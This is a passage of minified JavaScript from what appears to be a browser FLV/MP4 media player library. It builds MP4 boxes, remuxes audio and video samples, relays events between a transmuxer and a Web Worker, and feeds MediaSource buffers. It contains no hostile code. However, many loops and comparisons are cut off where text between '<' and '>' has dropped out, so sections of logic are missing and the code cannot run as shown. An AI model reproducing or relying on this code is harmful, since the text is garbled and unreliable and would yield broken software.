Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,n,0,16,0,0,0,0,i>>>8&255,255&i,0,0]);return e.box(e.types[".mp3"],r)}},{key:"mp4a",value:function(t){var n=t.channelCount,i=t.audioSampleRate,r=new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,n,0,16,0,0,0,0,i>>>8&255,255&i,0,0]);return e.box(e.types.mp4a,r,e.esds(t))}},{key:"esds",value:function(t){var n=t.config||[],i=n.length,r=new Uint8Array([0,0,0,0,3,23+i,0,1,0,4,15+i,64,21,0,0,0,0,0,0,0,0,0,0,0,5].concat([i]).concat(n).concat([6,1,2]));return e.box(e.types.esds,r)}},{key:"avc1",value:function(t){var n=t.avcc,i=t.codecWidth,r=t.codecHeight,a=new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,i>>>8&255,255&i,r>>>8&255,255&r,0,72,0,0,0,72,0,0,0,0,0,0,0,1,10,120,113,113,47,102,108,118,46,106,115,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,255,255]);return e.box(e.types.avc1,a,e.box(e.types.avcC,n))}},{key:"mvex",value:function(t){return e.box(e.types.mvex,e.trex(t))}},{key:"trex",value:function(t){var n=t.id,i=new Uint8Array([0,0,0,0,n>>>24&255,n>>>16&255,n>>>8&255,255&n,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1]);return e.box(e.types.trex,i)}},{key:"moof",value:function(t,n){return e.box(e.types.moof,e.mfhd(t.sequenceNumber),e.traf(t,n))}},{key:"mfhd",value:function(t){var n=new Uint8Array([0,0,0,0,t>>>24&255,t>>>16&255,t>>>8&255,255&t]);return e.box(e.types.mfhd,n)}},{key:"traf",value:function(t,n){var i=t.id,r=e.box(e.types.tfhd,new Uint8Array([0,0,0,0,i>>>24&255,i>>>16&255,i>>>8&255,255&i])),a=e.box(e.types.tfdt,new Uint8Array([0,0,0,0,n>>>24&255,n>>>16&255,n>>>8&255,255&n])),o=e.sdtp(t),s=e.trun(t,o.byteLength+16+16+8+16+8+8);return e.box(e.types.traf,r,a,s,o)}},{key:"sdtp",value:function(t){for(var n=t.samples||[],i=n.length,r=new Uint8Array(4+i),a=0;a>>24&255,r>>>16&255,r>>>8&255,255&r,n>>>24&255,n>>>16&255,n>>>8&255,255&n],0);for(var s=0;s>>24&255,l>>>16&255,l>>>8&255,255&l,u>>>24&255,u>>>16&255,u>>>8&255,255&u,c.isLeading<<2|c.dependsOn,c.isDependedOn<<6|c.hasRedundancy<<4|c.isNonSync,0,0,d>>>24&255,d>>>16&255,d>>>8&255,255&d],12+16*s)}return e.box(e.types.trun,o)}},{key:"mdat",value:function(t){return e.box(e.types.mdat,t)}}]),e}();K.init();var $=K,Y=function(){function e(){Object(i.a)(this,e)}return Object(r.a)(e,null,[{key:"getSilentFrame",value:function(e,t){if("mp4a.40.2"===e){if(1===t)return new Uint8Array([0,200,0,128,35,128]);if(2===t)return new Uint8Array([33,0,73,144,2,25,0,35,128]);if(3===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,142]);if(4===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,128,44,128,8,2,56]);if(5===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,130,48,4,153,0,33,144,2,56]);if(6===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,130,48,4,153,0,33,144,2,0,178,0,32,8,224])}else{if(1===t)return new Uint8Array([1,64,34,128,163,78,230,128,186,8,0,0,0,28,6,241,193,10,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,94]);if(2===t)return new Uint8Array([1,64,34,128,163,94,230,128,186,8,0,0,0,0,149,0,6,241,161,10,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,94]);if(3===t)return new Uint8Array([1,64,34,128,163,94,230,128,186,8,0,0,0,0,149,0,6,241,161,10,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,94])}return null}}]),e}(),Q=function e(t,n,r,a,o){Object(i.a)(this,e),this.dts=t,this.pts=n,this.duration=r,this.originalDts=a,this.isSyncPoint=o,this.fileposition=null},X=function(){function e(){Object(i.a)(this,e),this.beginDts=0,this.endDts=0,this.beginPts=0,this.endPts=0,this.originalBeginDts=0,this.originalEndDts=0,this.syncPoints=[],this.firstSample=null,this.lastSample=null}return Object(r.a)(e,[{key:"appendSyncPoint",value:function(e){e.isSyncPoint=!0,this.syncPoints.push(e)}}]),e}(),J=function(){function e(){Object(i.a)(this,e),this._list=[]}return Object(r.a)(e,[{key:"clear",value:function(){this._list=[]}},{key:"appendArray",value:function(e){var t=this._list;0!==e.length&&(t.length>0&&e[0].originalDts=t[r].dts&&et[i].lastSample.originalDts&&e=t[i].lastSample.originalDts&&(i===t.length-1||i0&&(r=this._searchNearestSegmentBefore(n.originalBeginDts)+1),this._lastAppendLocation=r,this._list.splice(r,0,n)}},{key:"getLastSegmentBefore",value:function(e){var t=this._searchNearestSegmentBefore(e);return t>=0?this._list[t]:null}},{key:"getLastSampleBefore",value:function(e){var t=this.getLastSegmentBefore(e);return null!=t?t.lastSample:null}},{key:"getLastSyncPointBefore",value:function(e){for(var t=this._searchNearestSegmentBefore(e),n=this._list[t].syncPoints;0===n.length&&t>0;)t--,n=this._list[t].syncPoints;return n.length>0?n[n.length-1]:null}},{key:"type",get:function(){return this._type}},{key:"length",get:function(){return this._list.length}}]),e}(),ee=function(){function e(t){Object(i.a)(this,e),this.TAG="MP4Remuxer",this._config=t,this._isLive=!0===t.isLive,this._dtsBase=-1,this._dtsBaseInited=!1,this._audioDtsBase=1/0,this._videoDtsBase=1/0,this._audioNextDts=void 0,this._videoNextDts=void 0,this._audioStashedLastSample=null,this._videoStashedLastSample=null,this._audioMeta=null,this._videoMeta=null,this._audioSegmentInfoList=new Z("audio"),this._videoSegmentInfoList=new Z("video"),this._onInitSegment=null,this._onMediaSegment=null,this._forceFirstIDR=!(!S.chrome||!(S.version.major<50||50===S.version.major&&S.version.build<2661)),this._fillSilentAfterSeek=S.msedge||S.msie,this._mp3UseMpegAudio=!S.firefox,this._fillAudioTimestampGap=this._config.fixAudioTimestampGap}return Object(r.a)(e,[{key:"destroy",value:function(){this._dtsBase=-1,this._dtsBaseInited=!1,this._audioMeta=null,this._videoMeta=null,this._audioSegmentInfoList.clear(),this._audioSegmentInfoList=null,this._videoSegmentInfoList.clear(),this._videoSegmentInfoList=null,this._onInitSegment=null,this._onMediaSegment=null}},{key:"bindDataSource",value:function(e){return e.onDataAvailable=this.remux.bind(this),e.onTrackMetadata=this._onTrackMetadataReceived.bind(this),this}},{key:"insertDiscontinuity",value:function(){this._audioNextDts=this._videoNextDts=void 0}},{key:"seek",value:function(e){this._audioStashedLastSample=null,this._videoStashedLastSample=null,this._videoSegmentInfoList.clear(),this._audioSegmentInfoList.clear()}},{key:"remux",value:function(e,t){if(!this._onMediaSegment)throw new m("MP4Remuxer: onMediaSegment callback must be specificed!");this._dtsBaseInited||this._calculateDtsBase(e,t),this._remuxVideo(t),this._remuxAudio(e)}},{key:"_onTrackMetadataReceived",value:function(e,t){var n=null,i="mp4",r=t.codec;if("audio"===e)this._audioMeta=t,"mp3"===t.codec&&this._mp3UseMpegAudio?(i="mpeg",r="",n=new Uint8Array):n=$.generateInitSegment(t);else{if("video"!==e)return;this._videoMeta=t,n=$.generateInitSegment(t)}if(!this._onInitSegment)throw new m("MP4Remuxer: onInitSegment callback must be specified!");this._onInitSegment(e,{type:e,data:n.buffer,codec:r,container:"".concat(e,"/").concat(i),mediaDuration:t.duration})}},{key:"_calculateDtsBase",value:function(e,t){this._dtsBaseInited||(e.samples&&e.samples.length&&(this._audioDtsBase=e.samples[0].dts),t.samples&&t.samples.length&&(this._videoDtsBase=t.samples[0].dts),this._dtsBase=Math.min(this._audioDtsBase,this._videoDtsBase),this._dtsBaseInited=!0)}},{key:"flushStashedSamples",value:function(){var e=this._videoStashedLastSample,t=this._audioStashedLastSample,n={type:"video",id:1,sequenceNumber:0,samples:[],length:0};null!=e&&(n.samples.push(e),n.length=e.length);var i={type:"audio",id:2,sequenceNumber:0,samples:[],length:0};null!=t&&(i.samples.push(t),i.length=t.length),this._videoStashedLastSample=null,this._audioStashedLastSample=null,this._remuxVideo(n,!0),this._remuxAudio(i,!0)}},{key:"_remuxAudio",value:function(e,t){if(null!=this._audioMeta){var n,i=e,r=i.samples,a=void 0,o=-1,s=this._audioMeta.refSampleDuration,l="mp3"===this._audioMeta.codec&&this._mp3UseMpegAudio,u=this._dtsBaseInited&&void 0===this._audioNextDts,d=!1;if(r&&0!==r.length&&(1!==r.length||t)){var f=0,h=null,p=0;l?(f=0,p=i.length):(f=8,p=8+i.length);var m=null;if(r.length>1&&(p-=(m=r.pop()).length),null!=this._audioStashedLastSample){var g=this._audioStashedLastSample;this._audioStashedLastSample=null,r.unshift(g),p+=g.length}null!=m&&(this._audioStashedLastSample=m);var v=r[0].dts-this._dtsBase;if(this._audioNextDts)a=v-this._audioNextDts;else if(this._audioSegmentInfoList.isEmpty())a=0,this._fillSilentAfterSeek&&!this._videoSegmentInfoList.isEmpty()&&"mp3"!==this._audioMeta.originalCodec&&(d=!0);else{var y=this._audioSegmentInfoList.getLastSampleBefore(v);if(null!=y){var b=v-(y.originalDts+y.duration);b<=3&&(b=0),a=v-(y.dts+y.duration+b)}else a=0}if(d){var _=v-a,k=this._videoSegmentInfoList.getLastSegmentBefore(v);if(null!=k&&k.beginDts<_){var w=Y.getSilentFrame(this._audioMeta.originalCodec,this._audioMeta.channelCount);if(w){var E=k.beginDts,T=_-k.beginDts;c.v(this.TAG,"InsertPrefixSilentAudio: dts: ".concat(E,", duration: ").concat(T)),r.unshift({unit:w,dts:E,pts:E}),p+=w.byteLength}}else d=!1}for(var C=[],x=0;x=1?C[C.length-1].duration:Math.floor(s);var I=!1,M=null;if(P>1.5*s&&"mp3"!==this._audioMeta.codec&&this._fillAudioTimestampGap&&!S.safari){I=!0;var D=Math.abs(P-s),N=Math.ceil(D/s),j=L+s;c.w(this.TAG,"Large audio timestamp gap detected, may cause AV sync to drift. Silent frames will be generated to avoid unsync.\n"+"dts: ".concat(L+P," ms, expected: ").concat(L+Math.round(s)," ms, ")+"delta: ".concat(Math.round(D)," ms, generate: ").concat(N," frames"));var B=Y.getSilentFrame(this._audioMeta.originalCodec,this._audioMeta.channelCount);null==B&&(c.w(this.TAG,"Unable to generate silent frame for "+"".concat(this._audioMeta.originalCodec," with ").concat(this._audioMeta.channelCount," channels, repeat last frame")),B=A),M=[];for(var U=0;U0){var z=M[M.length-1];z.duration=F-z.dts}var V={dts:F,pts:F,cts:0,unit:B,size:B.byteLength,duration:0,originalDts:R,flags:{isLeading:0,dependsOn:1,isDependedOn:0,hasRedundancy:0}};M.push(V),p+=V.size,j+=s}var H=M[M.length-1];H.duration=L+P-H.dts,P=Math.round(s)}C.push({dts:L,pts:L,cts:0,unit:O.unit,size:O.unit.byteLength,duration:P,originalDts:R,flags:{isLeading:0,dependsOn:1,isDependedOn:0,hasRedundancy:0}}),I&&C.push.apply(C,M)}l?h=new Uint8Array(p):((h=new Uint8Array(p))[0]=p>>>24&255,h[1]=p>>>16&255,h[2]=p>>>8&255,h[3]=255&p,h.set($.types.mdat,4));for(var W=0;W1&&(d-=(f=a.pop()).length),null!=this._videoStashedLastSample){var h=this._videoStashedLastSample;this._videoStashedLastSample=null,a.unshift(h),d+=h.length}null!=f&&(this._videoStashedLastSample=f);var p=a[0].dts-this._dtsBase;if(this._videoNextDts)o=p-this._videoNextDts;else if(this._videoSegmentInfoList.isEmpty())o=0;else{var m=this._videoSegmentInfoList.getLastSampleBefore(p);if(null!=m){var g=p-(m.originalDts+m.duration);g<=3&&(g=0),o=p-(m.dts+m.duration+g)}else o=0}for(var v=new X,y=[],b=0;b=1?y[y.length-1].duration:Math.floor(this._videoMeta.refSampleDuration);if(w){var x=new Q(E,T,C,_.dts,!0);x.fileposition=_.fileposition,v.appendSyncPoint(x)}y.push({dts:E,pts:T,cts:S,units:_.units,size:_.length,isKeyframe:w,duration:C,originalDts:k,flags:{isLeading:0,dependsOn:w?2:1,isDependedOn:w?1:0,hasRedundancy:0,isNonSync:w?0:1}})}(c=new Uint8Array(d))[0]=d>>>24&255,c[1]=d>>>16&255,c[2]=d>>>8&255,c[3]=255&d,c.set($.types.mdat,4);for(var O=0;O0)this._demuxer.bindDataSource(this._ioctl),this._demuxer.timestampBase=this._mediaDataSource.segments[this._currentSegmentIndex].timestampBase,r=this._demuxer.parseChunks(e,t);else if((i=q.probe(e)).match){this._demuxer=new q(i,this._config),this._remuxer||(this._remuxer=new ee(this._config));var a=this._mediaDataSource;void 0==a.duration||isNaN(a.duration)||(this._demuxer.overridedDuration=a.duration),"boolean"===typeof a.hasAudio&&(this._demuxer.overridedHasAudio=a.hasAudio),"boolean"===typeof a.hasVideo&&(this._demuxer.overridedHasVideo=a.hasVideo),this._demuxer.timestampBase=a.segments[this._currentSegmentIndex].timestampBase,this._demuxer.onError=this._onDemuxException.bind(this),this._demuxer.onMediaInfo=this._onMediaInfo.bind(this),this._demuxer.onMetaDataArrived=this._onMetaDataArrived.bind(this),this._demuxer.onScriptDataArrived=this._onScriptDataArrived.bind(this),this._remuxer.bindDataSource(this._demuxer.bindDataSource(this._ioctl)),this._remuxer.onInitSegment=this._onRemuxerInitSegmentArrival.bind(this),this._remuxer.onMediaSegment=this._onRemuxerMediaSegmentArrival.bind(this),r=this._demuxer.parseChunks(e,t)}else i=null,c.e(this.TAG,"Non-FLV, Unsupported media type!"),Promise.resolve().then((function(){n._internalAbort()})),this._emitter.emit(te.DEMUX_ERROR,G.FORMAT_UNSUPPORTED,"Non-FLV, Unsupported media type"),r=0;return r}},{key:"_onMediaInfo",value:function(e){var t=this;null==this._mediaInfo&&(this._mediaInfo=Object.assign({},e),this._mediaInfo.keyframesIndex=null,this._mediaInfo.segments=[],this._mediaInfo.segmentCount=this._mediaDataSource.segments.length,Object.setPrototypeOf(this._mediaInfo,B.prototype));var n=Object.assign({},e);Object.setPrototypeOf(n,B.prototype),this._mediaInfo.segments[this._currentSegmentIndex]=n,this._reportSegmentMediaInfo(this._currentSegmentIndex),null!=this._pendingSeekTime&&Promise.resolve().then((function(){var e=t._pendingSeekTime;t._pendingSeekTime=null,t.seek(e)}))}},{key:"_onMetaDataArrived",value:function(e){this._emitter.emit(te.METADATA_ARRIVED,e)}},{key:"_onScriptDataArrived",value:function(e){this._emitter.emit(te.SCRIPTDATA_ARRIVED,e)}},{key:"_onIOSeeked",value:function(){this._remuxer.insertDiscontinuity()}},{key:"_onIOComplete",value:function(e){var t=e+1;t0&&n[0].originalDts===i&&(i=n[0].pts),this._emitter.emit(te.RECOMMEND_SEEKPOINT,i)}}},{key:"_enableStatisticsReporter",value:function(){null==this._statisticsReporter&&(this._statisticsReporter=self.setInterval(this._reportStatisticsInfo.bind(this),this._config.statisticsInfoReportInterval))}},{key:"_disableStatisticsReporter",value:function(){this._statisticsReporter&&(self.clearInterval(this._statisticsReporter),this._statisticsReporter=null)}},{key:"_reportSegmentMediaInfo",value:function(e){var t=this._mediaInfo.segments[e],n=Object.assign({},t);n.duration=this._mediaInfo.duration,n.segmentCount=this._mediaInfo.segmentCount,delete n.segments,delete n.keyframesIndex,this._emitter.emit(te.MEDIA_INFO,n)}},{key:"_reportStatisticsInfo",value:function(){var e={};e.url=this._ioctl.currentURL,e.hasRedirect=this._ioctl.hasRedirect,e.hasRedirect&&(e.redirectedURL=this._ioctl.currentRedirectedURL),e.speed=this._ioctl.currentSpeed,e.loaderType=this._ioctl.loaderType,e.currentSegmentIndex=this._currentSegmentIndex,e.totalSegmentCount=this._mediaDataSource.segments.length,this._emitter.emit(te.STATISTICS_INFO,e)}}]),e}(),ie=function(e){var t=null,n=function(t,n){e.postMessage({msg:"logcat_callback",data:{type:t,logcat:n}})}.bind(this);function i(t,n){var i={msg:te.INIT_SEGMENT,data:{type:t,data:n}};e.postMessage(i,[n.data])}function r(t,n){var i={msg:te.MEDIA_SEGMENT,data:{type:t,data:n}};e.postMessage(i,[n.data])}function a(){var t={msg:te.LOADING_COMPLETE};e.postMessage(t)}function s(){var t={msg:te.RECOVERED_EARLY_EOF};e.postMessage(t)}function l(t){var n={msg:te.MEDIA_INFO,data:t};e.postMessage(n)}function u(t){var n={msg:te.METADATA_ARRIVED,data:t};e.postMessage(n)}function c(t){var n={msg:te.SCRIPTDATA_ARRIVED,data:t};e.postMessage(n)}function d(t){var n={msg:te.STATISTICS_INFO,data:t};e.postMessage(n)}function f(t,n){e.postMessage({msg:te.IO_ERROR,data:{type:t,info:n}})}function h(t,n){e.postMessage({msg:te.DEMUX_ERROR,data:{type:t,info:n}})}function p(t){e.postMessage({msg:te.RECOMMEND_SEEKPOINT,data:t})}o.install(),e.addEventListener("message",(function(o){switch(o.data.cmd){case"init":(t=new ne(o.data.param[0],o.data.param[1])).on(te.IO_ERROR,f.bind(this)),t.on(te.DEMUX_ERROR,h.bind(this)),t.on(te.INIT_SEGMENT,i.bind(this)),t.on(te.MEDIA_SEGMENT,r.bind(this)),t.on(te.LOADING_COMPLETE,a.bind(this)),t.on(te.RECOVERED_EARLY_EOF,s.bind(this)),t.on(te.MEDIA_INFO,l.bind(this)),t.on(te.METADATA_ARRIVED,u.bind(this)),t.on(te.SCRIPTDATA_ARRIVED,c.bind(this)),t.on(te.STATISTICS_INFO,d.bind(this)),t.on(te.RECOMMEND_SEEKPOINT,p.bind(this));break;case"destroy":t&&(t.destroy(),t=null),e.postMessage({msg:"destroyed"});break;case"start":t.start();break;case"stop":t.stop();break;case"seek":t.seek(o.data.param);break;case"pause":t.pause();break;case"resume":t.resume();break;case"logging_config":var m=o.data.param;j.applyConfig(m),!0===m.enableCallback?j.addLogListener(n):j.removeLogListener(n)}}))},re=function(){function e(t,r){if(Object(i.a)(this,e),this.TAG="Transmuxer",this._emitter=new l.a,r.enableWorker&&"undefined"!==typeof Worker)try{var a=n(48);this._worker=a(ie),this._workerDestroying=!1,this._worker.addEventListener("message",this._onWorkerMessage.bind(this)),this._worker.postMessage({cmd:"init",param:[t,r]}),this.e={onLoggingConfigChanged:this._onLoggingConfigChanged.bind(this)},j.registerListener(this.e.onLoggingConfigChanged),this._worker.postMessage({cmd:"logging_config",param:j.getConfig()})}catch(s){c.e(this.TAG,"Error while initialize transmuxing worker, fallback to inline transmuxing"),this._worker=null,this._controller=new ne(t,r)}else this._controller=new ne(t,r);if(this._controller){var o=this._controller;o.on(te.IO_ERROR,this._onIOError.bind(this)),o.on(te.DEMUX_ERROR,this._onDemuxError.bind(this)),o.on(te.INIT_SEGMENT,this._onInitSegment.bind(this)),o.on(te.MEDIA_SEGMENT,this._onMediaSegment.bind(this)),o.on(te.LOADING_COMPLETE,this._onLoadingComplete.bind(this)),o.on(te.RECOVERED_EARLY_EOF,this._onRecoveredEarlyEof.bind(this)),o.on(te.MEDIA_INFO,this._onMediaInfo.bind(this)),o.on(te.METADATA_ARRIVED,this._onMetaDataArrived.bind(this)),o.on(te.SCRIPTDATA_ARRIVED,this._onScriptDataArrived.bind(this)),o.on(te.STATISTICS_INFO,this._onStatisticsInfo.bind(this)),o.on(te.RECOMMEND_SEEKPOINT,this._onRecommendSeekpoint.bind(this))}}return Object(r.a)(e,[{key:"destroy",value:function(){this._worker?this._workerDestroying||(this._workerDestroying=!0,this._worker.postMessage({cmd:"destroy"}),j.removeListener(this.e.onLoggingConfigChanged),this.e=null):(this._controller.destroy(),this._controller=null),this._emitter.removeAllListeners(),this._emitter=null}},{key:"on",value:function(e,t){this._emitter.addListener(e,t)}},{key:"off",value:function(e,t){this._emitter.removeListener(e,t)}},{key:"hasWorker",value:function(){return null!=this._worker}},{key:"open",value:function(){this._worker?this._worker.postMessage({cmd:"start"}):this._controller.start()}},{key:"close",value:function(){this._worker?this._worker.postMessage({cmd:"stop"}):this._controller.stop()}},{key:"seek",value:function(e){this._worker?this._worker.postMessage({cmd:"seek",param:e}):this._controller.seek(e)}},{key:"pause",value:function(){this._worker?this._worker.postMessage({cmd:"pause"}):this._controller.pause()}},{key:"resume",value:function(){this._worker?this._worker.postMessage({cmd:"resume"}):this._controller.resume()}},{key:"_onInitSegment",value:function(e,t){var n=this;Promise.resolve().then((function(){n._emitter.emit(te.INIT_SEGMENT,e,t)}))}},{key:"_onMediaSegment",value:function(e,t){var n=this;Promise.resolve().then((function(){n._emitter.emit(te.MEDIA_SEGMENT,e,t)}))}},{key:"_onLoadingComplete",value:function(){var e=this;Promise.resolve().then((function(){e._emitter.emit(te.LOADING_COMPLETE)}))}},{key:"_onRecoveredEarlyEof",value:function(){var e=this;Promise.resolve().then((function(){e._emitter.emit(te.RECOVERED_EARLY_EOF)}))}},{key:"_onMediaInfo",value:function(e){var t=this;Promise.resolve().then((function(){t._emitter.emit(te.MEDIA_INFO,e)}))}},{key:"_onMetaDataArrived",value:function(e){var t=this;Promise.resolve().then((function(){t._emitter.emit(te.METADATA_ARRIVED,e)}))}},{key:"_onScriptDataArrived",value:function(e){var t=this;Promise.resolve().then((function(){t._emitter.emit(te.SCRIPTDATA_ARRIVED,e)}))}},{key:"_onStatisticsInfo",value:function(e){var t=this;Promise.resolve().then((function(){t._emitter.emit(te.STATISTICS_INFO,e)}))}},{key:"_onIOError",value:function(e,t){var n=this;Promise.resolve().then((function(){n._emitter.emit(te.IO_ERROR,e,t)}))}},{key:"_onDemuxError",value:function(e,t){var n=this;Promise.resolve().then((function(){n._emitter.emit(te.DEMUX_ERROR,e,t)}))}},{key:"_onRecommendSeekpoint",value:function(e){var t=this;Promise.resolve().then((function(){t._emitter.emit(te.RECOMMEND_SEEKPOINT,e)}))}},{key:"_onLoggingConfigChanged",value:function(e){this._worker&&this._worker.postMessage({cmd:"logging_config",param:e})}},{key:"_onWorkerMessage",value:function(e){var t=e.data,n=t.data;if("destroyed"===t.msg||this._workerDestroying)return this._workerDestroying=!1,this._worker.terminate(),void(this._worker=null);switch(t.msg){case te.INIT_SEGMENT:case te.MEDIA_SEGMENT:this._emitter.emit(t.msg,n.type,n.data);break;case te.LOADING_COMPLETE:case te.RECOVERED_EARLY_EOF:this._emitter.emit(t.msg);break;case te.MEDIA_INFO:Object.setPrototypeOf(n,B.prototype),this._emitter.emit(t.msg,n);break;case te.METADATA_ARRIVED:case te.SCRIPTDATA_ARRIVED:case te.STATISTICS_INFO:this._emitter.emit(t.msg,n);break;case te.IO_ERROR:case te.DEMUX_ERROR:this._emitter.emit(t.msg,n.type,n.info);break;case te.RECOMMEND_SEEKPOINT:this._emitter.emit(t.msg,n);break;case"logcat_callback":c.emitter.emit("log",n.type,n.logcat)}}}]),e}(),ae={ERROR:"error",SOURCE_OPEN:"source_open",UPDATE_END:"update_end",BUFFER_FULL:"buffer_full"},oe=function(){function e(t){Object(i.a)(this,e),this.TAG="MSEController",this._config=t,this._emitter=new l.a,this._config.isLive&&void 0==this._config.autoCleanupSourceBuffer&&(this._config.autoCleanupSourceBuffer=!0),this.e={onSourceOpen:this._onSourceOpen.bind(this),onSourceEnded:this._onSourceEnded.bind(this),onSourceClose:this._onSourceClose.bind(this),onSourceBufferError:this._onSourceBufferError.bind(this),onSourceBufferUpdateEnd:this._onSourceBufferUpdateEnd.bind(this)},this._mediaSource=null,this._mediaSourceObjectURL=null,this._mediaElement=null,this._isBufferFull=!1,this._hasPendingEos=!1,this._requireSetMediaDuration=!1,this._pendingMediaDuration=0,this._pendingSourceBufferInit=[],this._mimeTypes={video:null,audio:null},this._sourceBuffers={video:null,audio:null},this._lastInitSegments={video:null,audio:null},this._pendingSegments={video:[],audio:[]},this._pendingRemoveRanges={video:[],audio:[]},this._idrList=new J}return Object(r.a)(e,[{key:"destroy",value:function(){(this._mediaElement||this._mediaSource)&&this.detachMediaElement(),this.e=null,this._emitter.removeAllListeners(),this._emitter=null}},{key:"on",value:function(e,t){this._emitter.addListener(e,t)}},{key:"off",value:function(e,t){this._emitter.removeListener(e,t)}},{key:"attachMediaElement",value:function(e){if(this._mediaSource)throw new m("MediaSource has been attached to an HTMLMediaElement!");var t=this._mediaSource=new window.MediaSource;t.addEventListener("sourceopen",this.e.onSourceOpen),t.addEventListener("sourceended",this.e.onSourceEnded),t.addEventListener("sourceclose",this.e.onSourceClose),this._mediaElement=e,this._mediaSourceObjectURL=window.URL.createObjectURL(this._mediaSource),e.src=this._mediaSourceObjectURL}},{key:"detachMediaElement",value:function(){if(this._mediaSource){var e=this._mediaSource;for(var t in this._sourceBuffers){var n=this._pendingSegments[t];n.splice(0,n.length),this._pendingSegments[t]=null,this._pendingRemoveRanges[t]=null,this._lastInitSegments[t]=null;var i=this._sourceBuffers[t];if(i){if("closed"!==e.readyState){try{e.removeSourceBuffer(i)}catch(r){c.e(this.TAG,r.message)}i.removeEventListener("error",this.e.onSourceBufferError),i.removeEventListener("updateend",this.e.onSourceBufferUpdateEnd)}this._mimeTypes[t]=null,this._sourceBuffers[t]=null}}if("open"===e.readyState)try{e.endOfStream()}catch(r){c.e(this.TAG,r.message)}e.removeEventListener("sourceopen",this.e.onSourceOpen),e.removeEventListener("sourceended",this.e.onSourceEnded),e.removeEventListener("sourceclose",this.e.onSourceClose),this._pendingSourceBufferInit=[],this._isBufferFull=!1,this._idrList.clear(),this._mediaSource=null}this._mediaElement&&(this._mediaElement.src="",this._mediaElement.removeAttribute("src"),this._mediaElement=null),this._mediaSourceObjectURL&&(window.URL.revokeObjectURL(this._mediaSourceObjectURL),this._mediaSourceObjectURL=null)}},{key:"appendInitSegment",value:function(e,t){if(!this._mediaSource||"open"!==this._mediaSource.readyState)return this._pendingSourceBufferInit.push(e),void this._pendingSegments[e.type].push(e);var n=e,i="".concat(n.container);n.codec&&n.codec.length>0&&(i+=";codecs=".concat(n.codec));var r=!1;if(c.v(this.TAG,"Received Initialization Segment, mimeType: "+i),this._lastInitSegments[n.type]=n,i!==this._mimeTypes[n.type]){if(this._mimeTypes[n.type])c.v(this.TAG,"Notice: ".concat(n.type," mimeType changed, origin: ").concat(this._mimeTypes[n.type],", target: ").concat(i));else{r=!0;try{var a=this._sourceBuffers[n.type]=this._mediaSource.addSourceBuffer(i);a.addEventListener("error",this.e.onSourceBufferError),a.addEventListener("updateend",this.e.onSourceBufferUpdateEnd)}catch(o){return c.e(this.TAG,o.message),void this._emitter.emit(ae.ERROR,{code:o.code,msg:o.message})}}this._mimeTypes[n.type]=i}t||this._pendingSegments[n.type].push(n),r||this._sourceBuffers[n.type]&&!this._sourceBuffers[n.type].updating&&this._doAppendSegments(),S.safari&&"audio/mpeg"===n.container&&n.mediaDuration>0&&(this._requireSetMediaDuration=!0,this._pendingMediaDuration=n.mediaDuration/1e3,this._updateMediaSourceDuration())}},{key:"appendMediaSegment",value:function(e){var t=e;this._pendingSegments[t.type].push(t),this._config.autoCleanupSourceBuffer&&this._needCleanupSourceBuffer()&&this._doCleanupSourceBuffer();var n=this._sourceBuffers[t.type];!n||n.updating||this._hasPendingRemoveRanges()||this._doAppendSegments()}},{key:"seek",value:function(e){for(var t in this._sourceBuffers)if(this._sourceBuffers[t]){var n=this._sourceBuffers[t];if("open"===this._mediaSource.readyState)try{n.abort()}catch(l){c.e(this.TAG,l.message)}this._idrList.clear();var i=this._pendingSegments[t];if(i.splice(0,i.length),"closed"!==this._mediaSource.readyState){for(var r=0;r=1&&e-i.start(0)>=this._config.autoCleanupMaxBackwardDuration)return!0}}return!1}},{key:"_doCleanupSourceBuffer",value:function(){var e=this._mediaElement.currentTime;for(var t in this._sourceBuffers){var n=this._sourceBuffers[t];if(n){for(var i=n.buffered,r=!1,a=0;a=this._config.autoCleanupMaxBackwardDuration){r=!0;var l=e-this._config.autoCleanupMinBackwardDuration;this._pendingRemoveRanges[t].push({start:o,end:l})}}else s0&&(isNaN(t)||n>t)&&(c.v(this.TAG,"Update MediaSource duration from ".concat(t," to ").concat(n)),this._mediaSource.duration=n),this._requireSetMediaDuration=!1,this._pendingMediaDuration=0}}},{key:"_doRemoveRanges",value:function(){for(var e in this._pendingRemoveRanges)if(this._sourceBuffers[e]&&!this._sourceBuffers[e].updating)for(var t=this._sourceBuffers[e],n=this._pendingRemoveRanges[e];n.length&&!t.updating;){var i=n.shift();t.remove(i.start,i.end)}}},{key:"_doAppendSegments",value:function(){var e=this._pendingSegments;for(var t in e)if(this._sourceBuffers[t]&&!this._sourceBuffers[t].updating&&e[t].length>0){var n=e[t].shift();if(n.timestampOffset){var i=this._sourceBuffers[t].timestampOffset,r=n.timestampOffset/1e3;Math.abs(i-r)>.1&&(c.v(this.TAG,"Update MPEG audio timestampOffset from ".concat(i," to ").concat(r)),this._sourceBuffers[t].timestampOffset=r),delete n.timestampOffset}if(!n.data||0===n.data.byteLength)continue;try{this._sourceBuffers[t].appendBuffer(n.data),this._isBufferFull=!1,"video"===t&&n.hasOwnProperty("info")&&this._idrList.appendArray(n.info.syncPoints)}catch(a){this._pendingSegments[t].unshift(n),22===a.code?(this._isBufferFull||this._emitter.emit(ae.BUFFER_FULL),this._isBufferFull=!0):(c.e(this.TAG,a.message),this._emitter.emit(ae.ERROR,{code:a.code,msg:a.message}))}}}},{key:"_onSourceOpen",value:function(){if(c.v(this.TAG,"MediaSource 